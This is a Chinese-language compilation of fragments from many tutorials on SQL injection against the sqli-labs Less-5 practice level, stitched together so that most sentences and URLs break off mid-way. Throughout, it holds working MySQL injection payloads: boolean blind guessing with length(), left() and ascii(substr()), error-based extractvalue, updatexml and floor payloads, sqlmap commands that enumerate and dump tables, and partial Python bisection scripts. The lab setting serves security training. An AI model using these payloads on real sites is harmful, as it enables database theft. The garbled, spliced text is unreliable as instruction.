实验环境 渗透平台:Kali 目标网站:SQLI平台中的Less-5 实验原理 先来分析一下Less-5源码中GET提交不同参数时的反应 (1)如果正确 (2)如果错误 (3)如果提交? 实验步骤 第一步 登录SQLI-Labs平台 第二步 登录Kali平台,启动Firefox浏览器访问SQLI-Labs的less-5 在浏览器地址栏中输入http://【靶机IP】/Less-5/,访问 SQLI-Labs的less-5。 https://sqli.wmcoder.site/sqli-labs/Less-5? (如果查询出的结果是空值,应当转换成空字符串) https://sqli.wmcoder.site/sqli-labs/Less-5?
替换成你的靶场关卡网址 # 修改两个对应的payload # 目标网址(不带参数) url = "http://70ee4e0d244e4ca5a00526d0f4e48b26.app.mituan.zone/Less
查出了名为challenges的数据库 3、limit 2,1 http://172.16.11.222/sqli-labs/Less-5/? 查出来名为mysql的数据库 4、limit 3,1 http://172.16.11.222/sqli-labs/Less-5/? limit 1,1 是username http://172.16.11.222/sqli-labs/Less-5/? limit 2,1 是password http://172.16.11.222/sqli-labs/Less-5/? limit 1,1 http://172.16.11.222/sqli-labs/Less-5/?
https://www.bejson.com/convert/ox2str/ 0x7e == 16进制"~" 当前使用库名 http://192.168.1.19/Less-5/? id=1' and 1=2 -- http://192.168.1.19/Less-5/?id=1' and 1=1 -- http://192.168.1.19/Less-5/? http://192.168.1.19/Less-5/? http://192.168.1.19/Less-5/? 因为' '在浏览器中没有转义,我们需要转换为转义字符+ http://192.168.1.19/Less-5/?
id=1 --batch 查找数据库 python2 sqlmap.py -u http://192.168.232.128/sqllabs/Less-5/? id=1 --dbs --batch 查找当前数据库 python2 sqlmap.py -u http://192.168.232.128/sqllabs/Less-5/? id=1 --current-db --batch 查找表 python2 sqlmap.py -u http://192.168.232.128/sqllabs/Less-5/? id=1 -D sql --tables --batch 查找表中的列(字段) python2 sqlmap.py -u http://192.168.232.128/sqllabs/Less-5/? id=1 -D sql -T users --columns --batch 查找字段中的数据 python2 sqlmap.py -u http://192.168.232.128/sqllabs/Less
id=1%27and%20left(version(),1)=5%23 http://127.0.0.1/sqllib/Less-5/? id=1%27and%20length(database())=8%23 http://127.0.0.1/sqllib/Less-5/? id=1%27and%20left(database(),1)%3E%27a%27–+ http://127.0.0.1/sqllib/Less-5/? id=1%27and%20left(database(),2)%3E%27sa%27–+ http://127.0.0.1/sqllib/Less-5/? (select * from (select user())x) – ~0),2,3- -+ http://127.0.0.1/sqllib/Less-5/?
获取数据库名长度 def database_len(): for i in range(1, 10): url = "http://127.0.0.1/sqli-labs/Less ': #0123456789abcdefghijklmnopqrstuvwxyz url = "http://127.0.0.1/sqli-labs/Less database_name() 二分法脚本 # -*- coding: utf-8 -*- import requests url="http://127.0.0.1/sqli-labs/Less
"True" else: print "False" if __name__ == '__main__': url = 'http://test.com/sql/Less id=1' and (length(database())=8)--+ # 返回You are in 使用Python实现: url = 'http://test.com/sql/Less-5/? security left(database(),1),返回s left(database(),2),返回se left(database(),8),返回security ... test.com/sql/Less id=1' and left(database(),1)='s' --+ ... test.com/sql/Less-5/? id=1' and left(database(),2)='se' --+ ... test.com/sql/Less-5/?
我们来利用刚刚的知识进行注入 首先我们先判断下数据库长度(按下面这个payload试,一直到页面回显错误即错误的前一个数字为真) http://localhost/sqli-labs-master/Less id=1'and length(database())=8--+ 接下来判断数据库名 http://localhost/sqli-labs-master/Less-5/? 接下来按着这种顺序下去就能猜解出数据库名了 这里我就要介绍一个二分法了 http://localhost/sqli-labs-master/Less-5/? 现在我们推出了表名是security 接下来继续猜表: http://localhost/sqli-labs-master/Less-5/? 介绍完了猜表,我们现在从user表中猜列名 http://localhost/sqli-labs-master/Less-5/?
id=1")%20and%201=2%20union%20select%201,2,3%20--%20- //找到显位 Less5 /sqli-labs/Less-5/? /sqli-labs/Less-5/? 0)*2))x from information_schema.tables group by x)a) -- -' LIMIT 0,1; 其他函数: extractvalue /sqli-labs/Less id=1' and extractvalue(0x0a,concat(0x0a,(select database()))) -- - //爆当前数据库 /sqli-labs/Less-5/? /sqli-labs/Less-5/?
1、报错注入 group by counthttp://124.222.124.9:8888/Less-5/? 32位字符 ~:ASCII码为十六进制0x7e xml文档中查找字符位置时,使用/xxx/xxx/xxx/格式 只要写入不符合上述格式的内容,就会报错http://124.222.124.9:8888/Less new_xml) xml_target:xml对象的名称 string类型 xpath_expr:使用xpath格式的路径 new_xml:需要更新的内容http://124.222.124.9:8888/Less
sql语句为: http://localhost/sql-labs/Less-5/ ? concat语句里面的参数就是第一关使用的语句,sql语句为 http://localhost/sql-labs/Less-5/? sql语句: http://localhost/sql-labs/Less-5/? sql语句: http://localhost/sql-labs/Less-5/?
id=1 我们得到了下面的页面 然后输入 http://127.0.0.1/sqli/Less-5/? id=-1 我们得到下面的页面 当我们输入http://127.0.0.1/sqli/Less-5/? 哪个页面正常显示,就属于哪个数据库 //判断是否是 Mysql数据库 http://127.0.0.1/sqli/Less-5/? 由此可以判断出当前数据库为 security 3:判断当前数据库中的表 http://127.0.0.1/sqli/Less-5/? 判断表中的字段 http://127.0.0.1/sqli/Less-5/?
我们老规矩,输入一个单引号试试, http://127.0.0.1/Less-5/?id=1' ? 同样是报错了,而且报错结果是跟第一关是一样的。 所以再稍微修改一下 http://127.0.0.1/Less-5/? 因为,进行嵌套查询的时候子查询出来的的结果是作为一个派生表来进行上一级的查询的, 所以子查询的结果必须要有一个别名 再修改一下语句 http://127.0.0.1/Less-5/? 通过更改limit 1,1 limit 3,1 为users表 我们测试 users 语句为 http://127.0.0.1/Less-5/?
('s') 115 burpsuite 使用: 代理 security crow_1 if length(select database()) =8; http://127.0.0.1/sqli/Less information_schema.tables where table_schema = 0x7365637572697479 limit 1,1),1,1))> 10--+ http://127.0.0.1/sqli/Less select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+ http://127.0.0.1/sqli/Less 1000--+ ascii(substr((select database()),1,1))> 156 security 二分法 1,156 100 http://127.0.0.1/sqli/Less
以sqli-labs的第5关为例: http://192.168.211.174/sqli-labs-master/Less-5/?id=11 注入点为? 输入http://192.168.211.174/sqli-labs-master/Less-5/?id=1' 语法报错如下: ? 输入:http://192.168.211.174/sqli-labs-master/Less-5/?id=1' and 1=1 --+ 语法上显示正常,如下: ? 例如猜数据库版本第一个字符是不是5:http://192.168.211.174/sqli-labs-master/Less-5/? 如:http://192.168.211.174/sqli-labs-master/Less-5/?
通过这个错误,也就产生了我们日常构造利用的mysql的报错注入: http://192.168.3.21/Less-5/? http://192.168.3.21/Less-5/?id=1%27%20and%20extractvalue(1,(concat(0x7e,(user()),0x7e)))--+ ? 完整注入过程如下: # 当前数据库 http://192.168.3.21/Less-5/? id=1%27%20and%20updatexml(1,(concat(0x7e,(database()),0x7e)),1)--+ # 所有数据库 http://192.168.3.21/Less- select schema_name from information_schema.schemata limit 0,1),0x7e)),1)--+ # 数据表 http://192.168.3.21/Less
输入:http://localhost/sqli-labs/Less-5/?id=1 可以看到这个是正常页面。 ? 加上' 报错 加上' and 1--+ ? 又返回正常了。 http://localhost/sqli-labs/Less-5/?